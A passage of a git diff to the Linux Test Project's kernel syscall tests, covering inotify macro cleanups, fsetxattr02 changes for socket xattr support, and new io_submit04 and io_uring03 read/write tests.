(!totfiles) + tst_brk(TBROK, "Parent couldn't open any file"); + + tst_res(TINFO, "Closing %lu files from child", totfiles); + + if (!SAFE_FORK()) { + SAFE_FCLOSE(open_files[0]); + open_files[0] = SAFE_FOPEN(reopen, "a"); + + for (nfiles = nfiles - 1; nfiles >= 0; nfiles--) + SAFE_FCLOSE(open_files[nfiles]); + + _exit(0); + } + + tst_reap_children(); + + tst_res(TPASS, "Child closed all parent's files"); + + for (nfiles = 0; nfiles < totfiles; nfiles++) { + snprintf(name, PATH_MAX, "%s%lu", FILE_PREFIX, nfiles); + + SAFE_FCLOSE(open_files[nfiles]); + SAFE_UNLINK(name); + } } static void setup(void) { - tst_sig(FORK, DEF_HANDLER, cleanup); - umask(0); - - TEST_PAUSE; - tst_tmpdir(); + file_open_max = sysconf(_SC_OPEN_MAX); + open_files = SAFE_MALLOC(sizeof(FILE *) * file_open_max); } static void cleanup(void) { - tst_rmdir(); + free(open_files); } + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .cleanup = cleanup, + .forks_child = 1, + .needs_tmpdir = 1, +}; diff --git a/ltp/testcases/kernel/syscalls/fsetxattr/fsetxattr02.c b/ltp/testcases/kernel/syscalls/fsetxattr/fsetxattr02.c index 18490a86..2a48b7da 100644 --- a/ltp/testcases/kernel/syscalls/fsetxattr/fsetxattr02.c +++ b/ltp/testcases/kernel/syscalls/fsetxattr/fsetxattr02.c @@ -19,7 +19,10 @@ * - Set attribute to a block special file, fsetxattr(2) should * return -1 and set errno to EPERM. * - Set attribute to a UNIX domain socket, fsetxattr(2) should - * return -1 and set errno to EPERM. + * return -1 and set errno to EPERM on kernels < 7.1.0. + * On kernel 7.1.0+ (dc0876b9846d "xattr: support extended + * attributes on sockets"), returns 0 (success) as sockets now + * support user.* xattrs. */ /* @@ -62,6 +65,8 @@ #define BLK MNTPOINT"/fsetxattr02blk" #define SOCK "fsetxattr02sock" +static bool socket_xattr_supported; + struct test_case { char *fname; int fd; @@ -73,7 +78,9 @@ struct test_case { int exp_err; int issocket; int needskeyset; + int check_kver; }; + static struct test_case tc[] = { { /* case 00, set attr to reg */ .fname = FILENAME, @@ -82,7 +89,6 @@ static struct test_case tc[] = { .value = XATTR_TEST_VALUE, .size = XATTR_TEST_VALUE_SIZE, .flags = XATTR_CREATE, - .exp_err = 0, }, { /* case 01, set attr to dir */ .fname = DIRNAME, @@ -91,7 +97,6 @@ static struct test_case tc[] = { .value = XATTR_TEST_VALUE, .size = XATTR_TEST_VALUE_SIZE, .flags = XATTR_CREATE, - .exp_err = 0, }, { /* case 02, set attr to symlink */ .fname = SYMLINK, @@ -139,12 +144,14 @@ static struct test_case tc[] = { .flags = XATTR_CREATE, .exp_err = EPERM, .issocket = 1, + .check_kver = true, }, }; static void verify_fsetxattr(unsigned int i) { const char *fname = strstr(tc[i].fname, "fsetxattr02") + OFFSET; + int exp_err = tc[i].exp_err; /* some tests might require existing keys for each iteration */ if (tc[i].needskeyset) { @@ -152,6 +159,9 @@ static void verify_fsetxattr(unsigned int i) XATTR_CREATE); } + if (tc[i].check_kver && socket_xattr_supported) + exp_err = 0; + TEST(fsetxattr(tc[i].fd, tc[i].key, tc[i].value, tc[i].size, tc[i].flags)); @@ -160,7 +170,7 @@ static void verify_fsetxattr(unsigned int i) /* success */ - if (!tc[i].exp_err) { + if (!exp_err) { if (TST_RET) { tst_res(TFAIL | TTERRNO, "fsetxattr(2) on %s failed with %li", @@ -182,10 +192,10 @@ static void verify_fsetxattr(unsigned int i) /* fail */ - if (tc[i].exp_err != TST_ERR) { + if (exp_err != TST_ERR) { tst_res(TFAIL | TTERRNO, "fsetxattr(2) on %s should have failed with %s", - fname, tst_strerrno(tc[i].exp_err)); + fname, tst_strerrno(exp_err)); return; } @@ -233,6 +243,8 @@ static void setup(void) SAFE_BIND(tc[i].fd, (const struct sockaddr *) &sun, sizeof(struct sockaddr_un)); } + + socket_xattr_supported = tst_kvercmp(7, 1, 0) >= 0; } static void cleanup(void) @@ -253,8 +265,8 @@ static struct tst_test test = { .needs_devfs = 1, .mntpoint = MNTPOINT, .needs_root = 1, - .needs_drivers = (const char *const[]) { - "brd", + .needs_kconfigs = (const char *const[]) { + "CONFIG_BLK_DEV_RAM", NULL, }, }; diff --git a/ltp/testcases/kernel/syscalls/fsmount/fsmount02.c b/ltp/testcases/kernel/syscalls/fsmount/fsmount02.c index 55f0e2f2..934d775a 100644 --- a/ltp/testcases/kernel/syscalls/fsmount/fsmount02.c +++ b/ltp/testcases/kernel/syscalls/fsmount/fsmount02.c @@ -19,7 +19,7 @@ static struct tcase { int exp_errno; } tcases[] = { {"invalid-fd", &invalid_fd, FSMOUNT_CLOEXEC, 0, EBADF}, - {"invalid-flags", &fd, 0x02, 0, EINVAL}, + {"invalid-flags", &fd, 0x80000000, 0, EINVAL}, {"invalid-attrs", &fd, FSMOUNT_CLOEXEC, 0x100, EINVAL}, }; diff --git a/ltp/testcases/kernel/syscalls/fstatat/fstatat01.c b/ltp/testcases/kernel/syscalls/fstatat/fstatat01.c index c18ffacf..f3dc5a23 100644 --- a/ltp/testcases/kernel/syscalls/fstatat/fstatat01.c +++ b/ltp/testcases/kernel/syscalls/fstatat/fstatat01.c @@ -34,7 +34,7 @@ #include <signal.h> #include "config.h" #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #include "lapi/syscalls.h" #define TEST_CASES 6 diff --git a/ltp/testcases/kernel/syscalls/futimesat/futimesat01.c b/ltp/testcases/kernel/syscalls/futimesat/futimesat01.c index 46bd57c4..c53d9079 100644 --- a/ltp/testcases/kernel/syscalls/futimesat/futimesat01.c +++ b/ltp/testcases/kernel/syscalls/futimesat/futimesat01.c @@ -33,7 +33,7 @@ #include <string.h> #include <signal.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #include "lapi/syscalls.h" #define TEST_CASES 5 diff --git a/ltp/testcases/kernel/syscalls/get_mempolicy/get_mempolicy01.c b/ltp/testcases/kernel/syscalls/get_mempolicy/get_mempolicy01.c index 3c854d10..c150d40a 100644 --- a/ltp/testcases/kernel/syscalls/get_mempolicy/get_mempolicy01.c +++ b/ltp/testcases/kernel/syscalls/get_mempolicy/get_mempolicy01.c @@ -22,7 +22,7 @@ #include <numa.h> #include <numaif.h> #include <errno.h> -#include "tst_numa.h" +#include "tse_numa.h" #define MEM_LENGTH (4 * 1024 * 1024) #define PAGES_ALLOCATED 16u @@ -32,7 +32,7 @@ #define POLICY_DESC_FLAGS(x, y) .policy = x, .flags = y, .desc = "policy: "#x", flags: "#y #define POLICY_DESC_FLAGS_NO_TARGET(x, y) .policy = x, .flags = y, .desc = "policy: "#x", flags: "#y", no target" -static struct tst_nodemap *node; +static struct tse_nodemap *node; static struct bitmask *nodemask, *getnodemask, *empty_nodemask; struct test_case { @@ -142,7 +142,7 @@ static void setup(void) { unsigned int i; - node = tst_get_nodemap(TST_NUMA_MEM, PAGES_ALLOCATED * getpagesize() / 1024); + node = tse_get_nodemap(TST_NUMA_MEM, PAGES_ALLOCATED * getpagesize() / 1024); if (node->cnt < 1) tst_brk(TCONF, "test requires at least one NUMA memory node"); @@ -175,7 +175,7 @@ static void cleanup(void) numa_free_nodemask(nodemask); numa_free_nodemask(getnodemask); - tst_nodemap_free(node); + tse_nodemap_free(node); } static void do_test(unsigned int i) diff --git a/ltp/testcases/kernel/syscalls/get_mempolicy/get_mempolicy02.c b/ltp/testcases/kernel/syscalls/get_mempolicy/get_mempolicy02.c index 79ff5d94..f923afac 100644 --- a/ltp/testcases/kernel/syscalls/get_mempolicy/get_mempolicy02.c +++ b/ltp/testcases/kernel/syscalls/get_mempolicy/get_mempolicy02.c @@ -22,13 +22,13 @@ #include <numa.h> #include <numaif.h> #include <errno.h> -#include "tst_numa.h" +#include "tse_numa.h" #define PAGES_ALLOCATED 16u #define POLICY_DESC_TEXT(x, y) .policy = x, .desc = "policy: "#x", "y -static struct tst_nodemap *node; +static struct tse_nodemap *node; static struct bitmask *nodemask; struct test_case { @@ -55,7 +55,7 @@ static struct test_case tcase[] = { static void setup(void) { - node = tst_get_nodemap(TST_NUMA_MEM, PAGES_ALLOCATED * getpagesize() / 1024); + node = tse_get_nodemap(TST_NUMA_MEM, PAGES_ALLOCATED * getpagesize() / 1024); if (node->cnt < 1) tst_brk(TCONF, "test requires at least one NUMA memory node"); @@ -65,7 +65,7 @@ static void setup(void) static void cleanup(void) { numa_free_nodemask(nodemask); - tst_nodemap_free(node); + tse_nodemap_free(node); } static void do_test(unsigned int i) diff --git a/ltp/testcases/kernel/syscalls/get_robust_list/get_robust_list01.c b/ltp/testcases/kernel/syscalls/get_robust_list/get_robust_list01.c index 1ff37bc9..28db417d 100644 --- a/ltp/testcases/kernel/syscalls/get_robust_list/get_robust_list01.c +++ b/ltp/testcases/kernel/syscalls/get_robust_list/get_robust_list01.c @@ -51,7 +51,7 @@ #include <stdlib.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #include "lapi/syscalls.h" char *TCID = "get_robust_list01"; diff --git a/ltp/testcases/kernel/syscalls/getrusage/getrusage04.c b/ltp/testcases/kernel/syscalls/getrusage/getrusage04.c index f18343c2..f939f2a1 100644 --- a/ltp/testcases/kernel/syscalls/getrusage/getrusage04.c +++ b/ltp/testcases/kernel/syscalls/getrusage/getrusage04.c @@ -50,7 +50,7 @@ #include <time.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #include "lapi/posix_clocks.h" char *TCID = "getrusage04"; diff --git a/ltp/testcases/kernel/syscalls/inotify/inotify01.c b/ltp/testcases/kernel/syscalls/inotify/inotify01.c index 4f7fa70e..972b1025 100644 --- a/ltp/testcases/kernel/syscalls/inotify/inotify01.c +++ b/ltp/testcases/kernel/syscalls/inotify/inotify01.c @@ -55,10 +55,7 @@ void verify_inotify(void) event_set[test_cnt] = IN_OPEN; test_cnt++; - if (read(fd, buf, BUF_SIZE) == -1) { - tst_brk(TBROK | TERRNO, - "read(%d, buf, %d) failed", fd, BUF_SIZE); - } + SAFE_READ(0, fd, buf, BUF_SIZE); event_set[test_cnt] = IN_ACCESS; test_cnt++; @@ -70,10 +67,7 @@ void verify_inotify(void) event_set[test_cnt] = IN_OPEN; test_cnt++; - if (write(fd, buf, BUF_SIZE) == -1) { - tst_brk(TBROK, - "write(%d, %s, 1) failed", fd, fname); - } + SAFE_WRITE(SAFE_WRITE_ALL, fd, buf, BUF_SIZE); event_set[test_cnt] = IN_MODIFY; test_cnt++; @@ -85,12 +79,7 @@ void verify_inotify(void) * get list of events */ int len, i = 0, test_num = 0; - if ((len = read(fd_notify, event_buf, EVENT_BUF_LEN)) < 0) { - tst_brk(TBROK, - "read(%d, buf, %zu) failed", - fd_notify, EVENT_BUF_LEN); - - } + len = SAFE_READ(0, fd_notify, event_buf, EVENT_BUF_LEN); /* * check events diff --git a/ltp/testcases/kernel/syscalls/inotify/inotify02.c b/ltp/testcases/kernel/syscalls/inotify/inotify02.c index 709a9283..314c1bd4 100644 --- a/ltp/testcases/kernel/syscalls/inotify/inotify02.c +++ b/ltp/testcases/kernel/syscalls/inotify/inotify02.c @@ -64,11 +64,7 @@ void verify_inotify(void) strcpy(event_set[test_cnt].name, ""); test_cnt++; - if ((fd = creat(FILE_NAME1, 0755)) == -1) { - tst_brk(TBROK | TERRNO, - "creat(\"%s\", 755) failed", FILE_NAME1); - } - + fd = SAFE_CREAT(FILE_NAME1, 0755); event_set[test_cnt].mask = IN_CREATE; strcpy(event_set[test_cnt].name, FILE_NAME1); test_cnt++; @@ -89,11 +85,7 @@ void verify_inotify(void) strcpy(event_set[test_cnt].name, FILE_NAME2); test_cnt++; - if (getcwd(fname1, BUF_SIZE) == NULL) { - tst_brk(TBROK | TERRNO, - "getcwd(%p, %d) failed", fname1, BUF_SIZE); - } - + SAFE_GETCWD(fname1, BUF_SIZE); snprintf(fname2, BUF_SIZE, "%s.rename1", fname1); SAFE_RENAME(fname1, fname2); event_set[test_cnt].mask = IN_MOVE_SELF; @@ -120,12 +112,7 @@ void verify_inotify(void) test_cnt++; int len, i = 0, test_num = 0; - if ((len = read(fd_notify, event_buf, EVENT_BUF_LEN)) == -1) { - tst_brk(TBROK | TERRNO, - "read(%d, buf, %zu) failed", - fd_notify, EVENT_BUF_LEN); - - } + len = SAFE_READ(0, fd_notify, event_buf, EVENT_BUF_LEN); while (i < len) { struct inotify_event *event; @@ -208,7 +195,7 @@ static void cleanup(void) { if (reap_wd && myinotify_rm_watch(fd_notify, wd) < 0) { tst_res(TWARN, - "inotify_rm_watch (%d, %d) failed,", fd_notify, wd); + "inotify_rm_watch (%d, %d) failed", fd_notify, wd); } if (fd_notify > 0) diff --git a/ltp/testcases/kernel/syscalls/inotify/inotify03.c b/ltp/testcases/kernel/syscalls/inotify/inotify03.c index 9bb95add..a7974dd5 100644 --- a/ltp/testcases/kernel/syscalls/inotify/inotify03.c +++ b/ltp/testcases/kernel/syscalls/inotify/inotify03.c @@ -74,11 +74,7 @@ void verify_inotify(void) } mount_flag = 0; - len = read(fd_notify, event_buf, EVENT_BUF_LEN); - if (len < 0) { - tst_brk(TBROK | TERRNO, - "read(%d, buf, %zu) failed", fd_notify, EVENT_BUF_LEN); - } + len = SAFE_READ(0, fd_notify, event_buf, EVENT_BUF_LEN); /* check events */ test_num = 0; @@ -125,8 +121,6 @@ void verify_inotify(void) static void setup(void) { - int ret; - SAFE_MKDIR(mntpoint, DIR_MODE); SAFE_MOUNT(tst_device->dev, mntpoint, tst_device->fs_type, 0, NULL); @@ -135,11 +129,7 @@ static void setup(void) sprintf(fname, "%s/tfile_%d", mntpoint, getpid()); fd = SAFE_OPEN(fname, O_RDWR | O_CREAT, 0700); - ret = write(fd, fname, 1); - if (ret == -1) { - tst_brk(TBROK | TERRNO, - "write(%d, %s, 1) failed", fd, fname); - } + SAFE_WRITE(SAFE_WRITE_ALL, fd, fname, 1); /* close the file we have open */ SAFE_CLOSE(fd); diff --git a/ltp/testcases/kernel/syscalls/inotify/inotify04.c b/ltp/testcases/kernel/syscalls/inotify/inotify04.c index 1db38ddf..94762395 100644 --- a/ltp/testcases/kernel/syscalls/inotify/inotify04.c +++ b/ltp/testcases/kernel/syscalls/inotify/inotify04.c @@ -118,9 +118,7 @@ void verify_inotify(void) strcpy(event_set[test_cnt].name, ""); test_cnt++; - len = read(fd_notify, event_buf, EVENT_BUF_LEN); - if (len == -1) - tst_brk(TBROK | TERRNO, "read failed"); + len = SAFE_READ(0, fd_notify, event_buf, EVENT_BUF_LEN); while (i < len) { struct inotify_event *event; diff --git a/ltp/testcases/kernel/syscalls/inotify/inotify05.c b/ltp/testcases/kernel/syscalls/inotify/inotify05.c index d9bfb05f..82a4c7bd 100644 --- a/ltp/testcases/kernel/syscalls/inotify/inotify05.c +++ b/ltp/testcases/kernel/syscalls/inotify/inotify05.c @@ -60,12 +60,7 @@ void verify_inotify(void) /* * get list on events */ - len = read(fd_notify, event_buf, EVENT_BUF_LEN); - if (len < 0) { - tst_brk(TBROK | TERRNO, - "read(%d, buf, %zu) failed", - fd_notify, EVENT_BUF_LEN); - } + len = SAFE_READ(0, fd_notify, event_buf, EVENT_BUF_LEN); /* * check events diff --git a/ltp/testcases/kernel/syscalls/inotify/inotify07.c b/ltp/testcases/kernel/syscalls/inotify/inotify07.c index 66a2f4d3..b4000f35 100644 --- a/ltp/testcases/kernel/syscalls/inotify/inotify07.c +++ b/ltp/testcases/kernel/syscalls/inotify/inotify07.c @@ -88,12 +88,7 @@ void verify_inotify(void) strcpy(event_set[test_cnt].name, FILE_NAME); test_cnt++; - int len = read(fd_notify, event_buf, EVENT_BUF_LEN); - if (len == -1 && errno != EAGAIN) { - tst_brk(TBROK | TERRNO, - "read(%d, buf, %zu) failed", - fd_notify, EVENT_BUF_LEN); - } + int len = SAFE_READ(0, fd_notify, event_buf, EVENT_BUF_LEN); int i = 0, test_num = 0; while (i < len) { diff --git a/ltp/testcases/kernel/syscalls/inotify/inotify08.c b/ltp/testcases/kernel/syscalls/inotify/inotify08.c index 4cbb16ce..e0837cac 100644 --- a/ltp/testcases/kernel/syscalls/inotify/inotify08.c +++ b/ltp/testcases/kernel/syscalls/inotify/inotify08.c @@ -86,12 +86,7 @@ void verify_inotify(void) SAFE_TOUCH(OVL_LOWER"/"FILE_NAME, 0644, NULL); SAFE_TOUCH(OVL_UPPER"/"FILE_NAME, 0644, NULL); - int len = read(fd_notify, event_buf, EVENT_BUF_LEN); - if (len == -1 && errno != EAGAIN) { - tst_brk(TBROK | TERRNO, - "read(%d, buf, %zu) failed", - fd_notify, EVENT_BUF_LEN); - } + int len = SAFE_READ(0, fd_notify, event_buf, EVENT_BUF_LEN); int i = 0, test_num = 0; while (i < len) { diff --git a/ltp/testcases/kernel/syscalls/inotify/inotify10.c b/ltp/testcases/kernel/syscalls/inotify/inotify10.c index a78572df..4c3a1d11 100644 --- a/ltp/testcases/kernel/syscalls/inotify/inotify10.c +++ b/ltp/testcases/kernel/syscalls/inotify/inotify10.c @@ -143,9 +143,7 @@ static void verify_inotify(unsigned int n) test_cnt++; } - len = read(fd_notify, event_buf, EVENT_BUF_LEN); - if (len == -1) - tst_brk(TBROK | TERRNO, "read failed"); + len = SAFE_READ(0, fd_notify, event_buf, EVENT_BUF_LEN); while (i < len) { struct event_t *expected = &event_set[test_num]; diff --git a/ltp/testcases/kernel/syscalls/io_submit/.gitignore b/ltp/testcases/kernel/syscalls/io_submit/.gitignore index 60b07970..abe962e1 100644 --- a/ltp/testcases/kernel/syscalls/io_submit/.gitignore +++ b/ltp/testcases/kernel/syscalls/io_submit/.gitignore @@ -1,3 +1,4 @@ /io_submit01 /io_submit02 /io_submit03 +/io_submit04 diff --git a/ltp/testcases/kernel/syscalls/io_submit/io_submit04.c b/ltp/testcases/kernel/syscalls/io_submit/io_submit04.c new file mode 100644 index 00000000..c8927ee9 --- /dev/null +++ b/ltp/testcases/kernel/syscalls/io_submit/io_submit04.c @@ -0,0 +1,99 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2025 Wei Gao <wegao@suse.com> + */ + +/*\ + * Test RWF_NOWAIT support in io_submit(), verifying that an + * asynchronous read operation on a blocking resource (empty pipe) + * will cause -EAGAIN. This is done by checking that io_getevents() + * :manpage:`io_getevents(2)` syscall returns immediately and + * io_event.res is equal to -EAGAIN. + */ + +#include "config.h" +#include "tst_test.h" +#include "lapi/syscalls.h" +#include "lapi/aio_abi.h" + +#define BUF_SIZE 100 + +static int fd[2] = {-1, -1}; +static aio_context_t ctx; +static char *buf; +static iocb *cb; +static iocb **iocbs; + +static void setup(void) +{ + if (tst_syscall(__NR_io_setup, 1, &ctx)) + tst_brk(TBROK | TERRNO, "io_setup failed"); + + SAFE_PIPE(fd); + + cb->aio_fildes = fd[0]; + cb->aio_lio_opcode = IOCB_CMD_PREAD; + cb->aio_buf = TST_PTR_TO_UINT(buf); + cb->aio_offset = 0; + cb->aio_nbytes = BUF_SIZE; + cb->aio_rw_flags = RWF_NOWAIT; + + iocbs[0] = cb; +} + +static void cleanup(void) +{ + if (fd[0] != -1) + SAFE_CLOSE(fd[0]); + + if (fd[1] != -1) + SAFE_CLOSE(fd[1]); + + if (ctx && tst_syscall(__NR_io_destroy, ctx)) + tst_brk(TBROK | TERRNO, "io_destroy() failed"); +} + +static void run(void) +{ + struct io_event evbuf; + struct timespec timeout = { .tv_sec = 1 }; + long nr = 1; + + TEST(tst_syscall(__NR_io_submit, ctx, nr, iocbs)); + + if (TST_RET == -1 && TST_ERR == EOPNOTSUPP) { + tst_brk(TCONF, "RWF_NOWAIT not supported by kernel"); + } else if (TST_RET != nr) { + tst_brk(TBROK | TTERRNO, "io_submit() returns %ld, expected %ld", + TST_RET, nr); + } + + TEST(tst_syscall(__NR_io_getevents, ctx, 1, 1, &evbuf, &timeout)); + + if (TST_RET != 1) { + tst_res(TFAIL | TTERRNO, "io_getevents() failed to get 1 event"); + return; + } + + if (evbuf.res == -EAGAIN) + tst_res(TPASS, "io_getevents() returned EAGAIN on read event"); + else + tst_res(TFAIL, "io_getevents() returned with %s instead of EAGAIN", + tst_strerrno(-evbuf.res)); +} + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .cleanup = cleanup, + .needs_kconfigs = (const char *[]) { + "CONFIG_AIO=y", + NULL + }, + .bufs = (struct tst_buffers []) { + {&buf, .size = BUF_SIZE}, + {&cb, .size = sizeof(iocb)}, + {&iocbs, .size = sizeof(iocb *)}, + {}, + } +}; diff --git a/ltp/testcases/kernel/syscalls/io_uring/.gitignore b/ltp/testcases/kernel/syscalls/io_uring/.gitignore index 749db17d..9382ae41 100644 --- a/ltp/testcases/kernel/syscalls/io_uring/.gitignore +++ b/ltp/testcases/kernel/syscalls/io_uring/.gitignore @@ -1,2 +1,3 @@ /io_uring01 /io_uring02 +/io_uring03 diff --git a/ltp/testcases/kernel/syscalls/io_uring/io_uring01.c b/ltp/testcases/kernel/syscalls/io_uring/io_uring01.c index ab1ec00d..4c64e562 100644 --- a/ltp/testcases/kernel/syscalls/io_uring/io_uring01.c +++ b/ltp/testcases/kernel/syscalls/io_uring/io_uring01.c @@ -11,13 +11,7 @@ * registered in the kernel for long term operation using io_uring_register(). * This tests initiates I/O operations with the help of io_uring_enter(). */ -#include <stdlib.h> -#include <errno.h> -#include <string.h> -#include <fcntl.h> -#include "config.h" -#include "tst_test.h" -#include "lapi/io_uring.h" +#include "io_uring_common.h" #define TEST_FILE "test_file" @@ -32,96 +26,19 @@ static struct tcase { {0, IORING_REGISTER_BUFFERS, IORING_OP_READ_FIXED}, }; -struct io_sq_ring { - unsigned int *head; - unsigned int *tail; - unsigned int *ring_mask; - unsigned int *ring_entries; - unsigned int *flags; - unsigned int *array; -}; - -struct io_cq_ring { - unsigned int *head; - unsigned int *tail; - unsigned int *ring_mask; - unsigned int *ring_entries; - struct io_uring_cqe *cqes; -}; - -struct submitter { - int ring_fd; - struct io_sq_ring sq_ring; - struct io_uring_sqe *sqes; - struct io_cq_ring cq_ring; -}; - -static struct submitter sub_ring; -static struct submitter *s = &sub_ring; +static struct io_uring_submit s; static sigset_t sig; static struct iovec *iov; - -static void *sptr; -static size_t sptr_size; -static void *cptr; -static size_t cptr_size; - -static int setup_io_uring_test(struct submitter *s, struct tcase *tc) +static int setup_io_uring_test(struct io_uring_submit *s, struct tcase *tc) { - struct io_sq_ring *sring = &s->sq_ring; - struct io_cq_ring *cring = &s->cq_ring; - struct io_uring_params p; + int ret; - memset(&p, 0, sizeof(p)); - p.flags |= tc->setup_flags; - s->ring_fd = io_uring_setup(QUEUE_DEPTH, &p); - if (s->ring_fd != -1) { + ret = io_uring_setup_queue(s, QUEUE_DEPTH, tc->setup_flags); + if (ret == 0) tst_res(TPASS, "io_uring_setup() passed"); - } else { - tst_res(TFAIL | TERRNO, "io_uring_setup() failed"); - return 1; - } - - sptr_size = p.sq_off.array + p.sq_entries * sizeof(unsigned int); - - /* Submission queue ring buffer mapping */ - sptr = SAFE_MMAP(0, sptr_size, - PROT_READ | PROT_WRITE, - MAP_SHARED | MAP_POPULATE, - s->ring_fd, IORING_OFF_SQ_RING); - - /* Save global submission queue struct info */ - sring->head = sptr + p.sq_off.head; - sring->tail = sptr + p.sq_off.tail; - sring->ring_mask = sptr + p.sq_off.ring_mask; - sring->ring_entries = sptr + p.sq_off.ring_entries; - sring->flags = sptr + p.sq_off.flags; - sring->array = sptr + p.sq_off.array; - - /* Submission queue entries ring buffer mapping */ - s->sqes = SAFE_MMAP(0, p.sq_entries * - sizeof(struct io_uring_sqe), - PROT_READ | PROT_WRITE, - MAP_SHARED | MAP_POPULATE, - s->ring_fd, IORING_OFF_SQES); - - cptr_size = p.cq_off.cqes + p.cq_entries * sizeof(struct io_uring_cqe); - - /* Completion queue ring buffer mapping */ - cptr = SAFE_MMAP(0, cptr_size, - PROT_READ | PROT_WRITE, - MAP_SHARED | MAP_POPULATE, - s->ring_fd, IORING_OFF_CQ_RING); - - /* Save global completion queue struct info */ - cring->head = cptr + p.cq_off.head; - cring->tail = cptr + p.cq_off.tail; - cring->ring_mask = cptr + p.cq_off.ring_mask; - cring->ring_entries = cptr + p.cq_off.ring_entries; - cring->cqes = cptr + p.cq_off.cqes; - return 0; + return ret; } static void check_buffer(char *buffer, size_t len) @@ -139,7 +56,7 @@ static void check_buffer(char *buffer, size_t len) tst_res(TPASS, "Buffer filled in correctly"); } -static void drain_uring_cq(struct submitter *s, unsigned int exp_events) +static void drain_uring_cq(struct io_uring_submit *s, unsigned int exp_events) { struct io_cq_ring *cring = &s->cq_ring; unsigned int head = *cring->head; @@ -175,12 +92,10 @@ static void drain_uring_cq(struct submitter *s, unsigned int exp_events) events, exp_events); } -static int submit_to_uring_sq(struct submitter *s, struct tcase *tc) +static int submit_to_uring_sq(struct io_uring_submit *s, struct tcase *tc) { - unsigned int index = 0, tail = 0, next_tail = 0; - struct io_sq_ring *sring = &s->sq_ring; - struct io_uring_sqe *sqe; int ret; + int fd; memset(iov->iov_base, 0, iov->iov_len); @@ -193,26 +108,13 @@ static int submit_to_uring_sq(struct submitter *s, struct tcase *tc) return 1; } - int fd = SAFE_OPEN(TEST_FILE, O_RDONLY); - - /* Submission queue entry addition to SQE ring buffer tail */ - tail = *sring->tail; - next_tail = tail + 1; - index = tail & *s->sq_ring.ring_mask; - sqe = &s->sqes[index]; - sqe->flags = 0; - sqe->fd = fd; - sqe->opcode = tc->enter_flags; - sqe->addr = (unsigned long)iov->iov_base; - sqe->len = BLOCK_SZ; - sqe->off = 0; - sqe->user_data = (unsigned long long)iov; - sring->array[index] = index; - tail = next_tail; - - /* Kernel to notice the tail update */ - if (*sring->tail != tail) - *sring->tail = tail; + fd = SAFE_OPEN(TEST_FILE, O_RDONLY); + + /* Submit SQE using common helper */ + io_uring_submit_sqe_internal(s, fd, tc->enter_flags, + (unsigned long)iov->iov_base, + BLOCK_SZ, 0, + (unsigned long long)iov); ret = io_uring_enter(s->ring_fd, 1, 1, IORING_ENTER_GETEVENTS, &sig); if (ret == 1) { @@ -229,23 +131,20 @@ static int submit_to_uring_sq(struct submitter *s, struct tcase *tc) static void cleanup_io_uring_test(void) { - io_uring_register(s->ring_fd, IORING_UNREGISTER_BUFFERS, + io_uring_register(s.ring_fd, IORING_UNREGISTER_BUFFERS, NULL, QUEUE_DEPTH); - SAFE_MUNMAP(s->sqes, sizeof(struct io_uring_sqe)); - SAFE_MUNMAP(cptr, cptr_size); - SAFE_MUNMAP(sptr, sptr_size); - SAFE_CLOSE(s->ring_fd); + io_uring_cleanup_queue(&s, QUEUE_DEPTH); } static void run(unsigned int n) { struct tcase *tc = &tcases[n]; - if (setup_io_uring_test(s, tc)) + if (setup_io_uring_test(&s, tc)) return; - if (!submit_to_uring_sq(s, tc)) - drain_uring_cq(s, 1); + if (!submit_to_uring_sq(&s, tc)) + drain_uring_cq(&s, 1); cleanup_io_uring_test(); } diff --git a/ltp/testcases/kernel/syscalls/io_uring/io_uring03.c b/ltp/testcases/kernel/syscalls/io_uring/io_uring03.c new file mode 100644 index 00000000..645c96b0 --- /dev/null +++ b/ltp/testcases/kernel/syscalls/io_uring/io_uring03.c @@ -0,0 +1,140 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2026 IBM + * Author: Sachin Sant <sachinp@linux.ibm.com> + */ +/* + * Test IORING_OP_READ and IORING_OP_WRITE operations. + * + * This test validates basic read and write operations using io_uring. + * It tests: + * 1. IORING_OP_WRITE - Writing data to a file + * 2. IORING_OP_READ - Reading data from a file + * 3. Data integrity verification + */ + +#include "io_uring_common.h" + +#define TEST_FILE "io_uring_test_file" +#define QUEUE_DEPTH 2 +#define BLOCK_SZ 4096 + +static char *write_buf; +static char *read_buf; +static struct io_uring_submit s; +static sigset_t sig; + +static void init_buffer(char start_char) +{ + size_t i; + + for (i = 0; i < BLOCK_SZ; i++) + write_buf[i] = start_char + (i % 26); +} + +static void verify_data_integrity(const char *test_name) +{ + size_t i; + + if (memcmp(write_buf, read_buf, BLOCK_SZ) == 0) { + tst_res(TPASS, "%s data integrity verified", test_name); + } else { + tst_res(TFAIL, "%s data mismatch", test_name); + for (i = 0; i < BLOCK_SZ && i < 64; i++) { + if (write_buf[i] != read_buf[i]) { + tst_res(TINFO, "First mismatch at offset %zu: " + "wrote 0x%02x, read 0x%02x", + i, write_buf[i], read_buf[i]); + break; + } + } + } +} + +static void test_write_read(void) +{ + int fd; + + init_buffer('A'); + + fd = SAFE_OPEN(TEST_FILE, O_RDWR | O_CREAT | O_TRUNC, 0644); + + tst_res(TINFO, "Testing IORING_OP_WRITE"); + io_uring_do_io_op(&s, fd, IORING_OP_WRITE, write_buf, BLOCK_SZ, 0, + &sig); + + SAFE_FSYNC(fd); + + tst_res(TINFO, "Testing IORING_OP_READ"); + memset(read_buf, 0, BLOCK_SZ); + io_uring_do_io_op(&s, fd, IORING_OP_READ, read_buf, BLOCK_SZ, 0, + &sig); + + verify_data_integrity("Basic I/O"); + + SAFE_CLOSE(fd); +} + +static void test_partial_io(void) +{ + int fd; + size_t half = BLOCK_SZ / 2; + + tst_res(TINFO, "Testing partial I/O operations"); + + init_buffer('a'); + + fd = SAFE_OPEN(TEST_FILE, O_RDWR | O_CREAT | O_TRUNC, 0644); + + io_uring_do_io_op(&s, fd, IORING_OP_WRITE, write_buf, half, 0, + &sig); + + io_uring_do_io_op(&s, fd, IORING_OP_WRITE, write_buf + half, half, + half, &sig); + + SAFE_FSYNC(fd); + + memset(read_buf, 0, BLOCK_SZ); + io_uring_do_io_op(&s, fd, IORING_OP_READ, read_buf, BLOCK_SZ, 0, + &sig); + + verify_data_integrity("Partial 